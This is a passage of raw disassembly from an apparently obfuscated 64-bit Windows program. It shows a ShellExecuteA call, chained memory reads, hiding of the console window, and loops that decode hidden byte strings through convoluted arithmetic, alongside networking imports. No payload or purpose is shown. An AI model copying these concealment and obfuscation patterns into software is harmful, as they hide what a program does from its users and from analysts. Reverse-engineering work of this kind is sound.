call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movzx ebx, byte [rsp + 0x31]
mov rcx, qword [0x14023ca50]
mov rax, qword [0x14023ca60]
test rcx, rcx
je 0x1400c2ea2
test rax, rax
jne 0x1400c3043
lea rax, [rbp + 0x20]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x40]
mov rcx, qword [0x14023ce68]
call fcn.140113ca0
nop
mov rcx, rax
call fcn.140001ba0
mov rdi, rax
movzx edx, bl
lea rcx, [rbp + 0x20]
call fcn.1400029d0
nop
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x1400c2ee0
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140004440
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.1400b3f60
mov rcx, rax
call fcn.140001ba0
lea r8, [rbp + 0x928]
lea rdx, [0x1402187e0]
mov rcx, rax
call fcn.1400065b0
mov rdi, qword [rbp + 0x928]
lea rcx, [rbp + 0xc0]
call fcn.140002800
nop
lea rcx, [rbp + 0x40]
call fcn.140002800
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x930]
lea r8, [rdi + 0x10]
xor edx, edx
mov rcx, qword [0x14023ce68]
call fcn.140114aa0
mov rax, qword [rbp + 0x930]
mov qword [0x14023ca60], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x920]
lea r8, [rdi + 0x10]
xor edx, edx
mov rcx, qword [0x14023ce68]
call fcn.140114aa0
mov r8, qword [rbp + 0x920]
add r8, 0x7d8
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x918]
xor edx, edx
mov rcx, qword [0x14023ce68]
call fcn.140114aa0
mov r8, qword [rbp + 0x918]
add r8, qword [0x140236960]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x910]
xor edx, edx
mov rcx, qword [0x14023ce68]
call fcn.140114aa0
mov rcx, qword [rbp + 0x910]
mov qword [0x14023ca50], rcx
cmp rcx, 0x10000
jbe 0x1400c302a
mov rax, qword [0x14023ca60]
cmp rax, 0x10000
ja 0x1400c2e94
mov rcx, r13
mov qword [0x14023ca50], rcx
mov rax, r13
mov qword [0x14023ca60], rax
jmp 0x1400c2e94
mov rcx, qword [0x14023cae8]
call fcn.1400a5ad0
mov rcx, qword [0x14023cae0]
call fcn.14006b7f0
mov byte [rbp + 0x268], Ordinal_200
mov byte [rbp + 0x269], 0x9e
mov byte [rbp + 0x26a], 0xb1
mov byte [rbp + 0x26b], Ordinal_79
mov byte [rbp + 0x26c], 0x51
mov byte [rbp + 0x26d], 0x5c
mov byte [rbp + 0x26e], 0x5d
mov byte [rbp + 0x26f], 0x55
mov byte [rbp + 0x270], 0x65
mov byte [rbp + 0x271], 0x51
mov byte [rbp + 0x272], 0x50
mov byte [rbp + 0x273], WSASetLastError
mov byte [rbp + 0x274], 2
mov byte [rbp + 0x275], 0x3d
mov byte [rbp + 0x276], 0x51
mov byte [rbp + 0x277], 0x40
mov byte [rbp + 0x278], 0x42
mov byte [rbp + 0x279], 0x5e
mov byte [rbp + 0x27a], 0x40
mov byte [rbp + 0x27b], Ordinal_30
mov byte [rbp + 0x27c], 0xe4
mov byte [rbp + 0x27d], 0xf9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27e], xmm0
mov qword [rbp + 0x28e], rax
mov dword [rbp + 0x296], eax
mov byte [rbp + 0x29a], al
movabs rsi, 0xc48d8c96526df17d
movabs r14, 0xe8f9f148e5dd7d65
movabs r15, 0x4da8a5c2f749d477
movzx edx, byte [rsp + 0x31]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rbx, r13
cmp rbx, 0x33
jae 0x1400c3cf4
movzx r11d, byte [rbp + rbx + 0x268]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400c3ce8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c319b
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
sub dl, 0x6b
jmp 0x1400c31c8
je 0x1400c3c7d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c3c51
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c3c38
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c3bf2
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c3cdf
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400c31fc
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x39
jmp 0x1400c3240
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c3bdb
inc rax
cmp r8, rax
je 0x1400c3bb9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c3b9a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c3b7e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c3afa
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c3791
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c3774
lea rcx, [r9 + 5]
cmp r8, rcx
je 0x1400c374b
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c3725
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c370b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c36ec
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c36d0
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c36b3
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c3693
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c3662
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c3250
mov r8, rcx
lea r9, [rcx + 0x40]
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400c3cc3
lea rcx, [r9 + 3]
cmp r8, rcx
jb 0x1400c3ca7
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c3428
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400c340e
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c33f4
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c361b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c35d3
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c3593
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c356d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c3250
mov r8, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400c353c
lea rcx, [r9 + 1]
cmp r8, rcx
ja 0x1400c351e
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c3502
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c34e6
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c34c3
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c34ab
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c3485
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c3460
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c3444
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c3250
mov r8, rcx
lea r9, [rcx + 0xa]
jmp 0x1400c3250
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x19
jmp 0x1400c3240
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x43
jmp 0x1400c31d0
sub r10b, 0x15
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6d
jmp 0x1400c3170
lea edx, [r10 + 8]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x38
add dl, cl
jmp 0x1400c3c0b
add r10b, 0xe
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x62
inc r9
dec rbx
inc rbx
jmp 0x1400c3153
add r10b, 0x14
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400c3153
lea edx, [r10 + 0x1a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
jmp 0x1400c3ab8
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1400c3c65
add r10b, 0x26
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0xa
jmp 0x1400c3c65
lea edx, [r10 + 0x2c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x34
add dl, cl
jmp 0x1400c3b0f
add r10b, 0x32
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x5e
add dl, r10b
jmp 0x1400c3b3b
add r10b, 0x38
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x268]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3153
sub r10b, 0x39
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x71
mov byte [rbp + rbx + 0x268], dl
inc rbx
jmp 0x1400c3153
lea edx, [r10 - 0x33]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x65
add dl, cl
cmp r9, 0x3e8
jb 0x1400c3584
lea edx, [r10 - 0x32]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x44]
jmp 0x1400c3c0b
lea edx, [r10 - 0x2d]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x3b
add dl, cl
cmp r8, 0x1000
jae 0x1400c3aa3
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400c39a3
lea edx, [r10 + 0xa]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x46
jmp 0x1400c35a8
lea ecx, [r10 - 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x11
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x1400c3ae7
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400c38b9
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7f
jmp 0x1400c35ea
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x268]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3153
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c3b3b
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c3b0f
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
jmp 0x1400c3c65
sub r10b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x52
add r8, r9
jmp 0x1400c3c65
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
jmp 0x1400c3abd
sub r10b, 0x56
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c3153
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c3153
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c3c0b
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400c37b4
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6b
jmp 0x1400c3630
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c37ee
sub r10b, 0x7e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x268]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3153
inc rax
cmp r8, rax
jne 0x1400c3812
add r10b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x64
jmp 0x1400c3b3b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c3837
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
jmp 0x1400c3c65
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c3863
add r10b, 0x6a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400c3c65
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c3892
add r10b, 0x5e
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c3153
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c3630
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3e
jmp 0x1400c3c0b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c38dc
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x55
jmp 0x1400c3c0b
inc rax
cmp r8, rax
jne 0x1400c3909
sub r10b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2b
inc r9
dec rbx
inc rbx
jmp 0x1400c3153
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c3933
sub r10b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
dec dl
dec rbx
inc rbx
jmp 0x1400c3153
cmp r8, rcx
jne 0x1400c3957
sub r10b, 0x55
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x53
add r8, r9
jmp 0x1400c3c65
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c397a
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x59
jmp 0x1400c3b0f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c35ea
sub r10b, 0x67
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2f
jmp 0x1400c3b3b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c39d9
add r10b, 4
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x1c
movzx eax, byte [rbp + rbx + 0x268]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3153
inc rax
cmp r8, rax
jne 0x1400c3a01
sub r10b, 2
movzx eax, r11b
and al, r10b
mov ecx, 7
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c3b3b
cmp r8, rcx
jne 0x1400c3a26
sub r10b, 0xe
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c3c65
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c3a4e
sub r10b, 0x14
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x74
add r8, r9
jmp 0x1400c3c65
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c3a79
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x1400c3153
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c35aa
lea edx, [r10 - 0x2c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c3c0b
lea edx, [r10 - 0x38]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x78
add cl, r11b
add dl, cl
add r10b, 0x45
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x1d
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x268], r11b
add r8, r9
jmp 0x1400c3c65
lea ecx, [r10 - 0x3e]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x4e]
jmp 0x1400c3b0f
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5f
add r10b, 0x3f
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x47
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x268], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x44]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x24
add r11b, cl
mov byte [rbp + rbx + 0x268], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x268]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3153
add r10b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x35
jmp 0x1400c3c65
add r10b, 0x23
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0xb
add r8, r9
jmp 0x1400c3c65
add r10b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x49
dec rbx
inc rbx
jmp 0x1400c3153
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x63
jmp 0x1400c3c0b
movzx r10d, bl
lea ecx, [r10 + 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xf
add r10b, 0x4b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0xd
add r11b, r10b
mov byte [rbp + rbx + 0x268], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c3153
lea ecx, [rbx + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x67
add r8, r9
jmp 0x1400c3c65
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x3d
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c3153
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x41
movzx eax, byte [rbp + rbx + 0x268]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c3153
sub r10b, 0xf
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x69
jmp 0x1400c3150
sub r10b, 9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x3f
jmp 0x1400c3140
lea rdx, [rbp + 0x15e4264]
jmp 0x1400c3cfb
lea rdx, [rbp + 0xcc33e1]
jmp 0x1400c3cfb
lea rdx, [rbp + 0x268]
mov rcx, qword [0x14023cdc8]
call fcn.1400cc460
mov qword [rsp + 0x78], 0x5dc
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x80]
call fcn.14005a290
mov rcx, rax
call fcn.14005a300
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14023cad8]
call fcn.1400b4030
mov rcx, qword [0x14023cad8]
mov byte [rcx + 0xb], 1
call fcn.1400629f0
mov byte [0x1402389cd], 0
mov byte [rbp + 0x1d0], 0xe1
mov byte [rbp + 0x1d1], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x1d2], reloc.WS2_32.dll_recv
mov byte [rbp + 0x1d3], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x1d4], Ordinal_35
mov byte [rbp + 0x1d5], 0xee
mov byte [rbp + 0x1d6], reloc.WS2_32.dll_select
mov byte [rbp + 0x1d7], 0xe4
mov byte [rbp + 0x1d8], 0xdc
mov byte [rbp + 0x1d9], 0xe8
mov byte [rbp + 0x1da], 0xe6
mov byte [rbp + 0x1db], 0xda
mov byte [rbp + 0x1dc], 0xb2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1dd], xmm0
mov dword [rbp + 0x1ed], eax
mov word [rbp + 0x1f1], ax
movabs r12, 0xe55b7dc341383b15
movabs r15, 0x45807056c8899d93
movabs r14, 0xb0127949c3a8b13f
movzx edx, byte [rsp + 0x31]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rsi, r13
cmp rsi, 0x23
jae 0x1400c4580
movzx r11d, byte [rbp + rsi + 0x1d0]
mov r10d, r11d
nop dword [rax]
cmp r8, rsi
ja 0x1400c4577
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c3e4b
lea rcx, [rsi + r12]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
add dl, 0x6d
jmp 0x1400c3e85
je 0x1400c4528
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c44ac
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c447d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c4440
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c441e
movzx r10d, sil
nop dword [rax]
mov rdi, r9
mov rbx, r8
cmp r9, rsi
ja 0x1400c456e
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400c3ebf
lea ecx, [r10 - 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xf
jmp 0x1400c3ef3
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c43dc
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c43c5
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c43a9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c437c
add r8, r9
cmp r8, rsi
jbe 0x1400c40ab
mov r8, rbx
nop dword [rax]
nop word [rax + rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c4091
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c4071
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c4044
mov r8, rax
lea r9, [rax + 0x2a]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c4552
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c3f95
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c401e
mov r8, rax
lea r9, [rax + 8]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c3ff1
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c3fd4
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c3faf
mov r8, rax
lea r9, [rax + 0x42]
jmp 0x1400c3f10
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x55
jmp 0x1400c3e90
sub r10b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x52
inc r9
dec rsi
inc rsi
jmp 0x1400c3e03
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c44c4
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x48
movzx eax, byte [rbp + rsi + 0x1d0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c3e03
add r10b, 0xf
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x69
mov byte [rbp + rsi + 0x1d0], dl
inc rsi
jmp 0x1400c3e03
add r10b, 0x56
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5a
movzx eax, byte [rbp + rsi + 0x1d0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400c3e03
sub r10b, 0x52
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c4491
lea ecx, [r10 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2a
jmp 0x1400c43f1
lea rcx, [r9 + 6]
inc r9
cmp rbx, rcx
jae 0x1400c415b
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6d
cmp r8, 0x40
je 0x1400c435c
lea rax, [rdi + 0x40]
cmp rbx, rax
jbe 0x1400c421c
lea ecx, [r10 + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 7
cmp rbx, 0x1000
jae 0x1400c433a
lea rax, [rdi + 0x1000]
cmp rbx, rax
jbe 0x1400c42a1
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
mov r8, rbx
mov r9, rdi
cmp rdi, 2
jb 0x1400c4035
lea ecx, [r10 + 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x24]
jmp 0x1400c43f1
cmp rbx, r9
jne 0x1400c4193
add r10b, 0x72
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1e
mov r8, rbx
mov r9, rdi
movzx eax, byte [rbp + rsi + 0x1d0]
add rax, rdi
add rsi, rax
inc rsi
jmp 0x1400c3e03
lea rax, [rdi + 3]
cmp rbx, rax
jne 0x1400c41c2
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov r8, rbx
mov r9, rdi
jmp 0x1400c4494
lea rax, [rdi + 4]
cmp rbx, rax
jne 0x1400c41f3
add r10b, 0x6e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 2
mov r8, rbx
mov r9, rdi
dec rsi
inc rsi
jmp 0x1400c3e03
cmp rbx, rcx
jne 0x1400c40d0
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4e
mov r8, rbx
mov r9, rdi
jmp 0x1400c43f1
cmp rbx, r9
jne 0x1400c4241
lea ecx, [r10 + 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2d
mov r8, rbx
mov r9, rdi
jmp 0x1400c43f1
lea rax, [rdi + 2]
cmp rbx, rax
jne 0x1400c4272
add r10b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x79
mov r8, rbx
mov r9, rdi
dec rsi
inc rsi
jmp 0x1400c3e03
lea rax, [rdi + 5]
cmp rbx, rax
jne 0x1400c40fc
sub r10b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3b
mov r8, rbx
mov r9, rdi
jmp 0x1400c4491
cmp rbx, r9
jne 0x1400c42d9
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
mov r8, rbx
mov r9, rdi
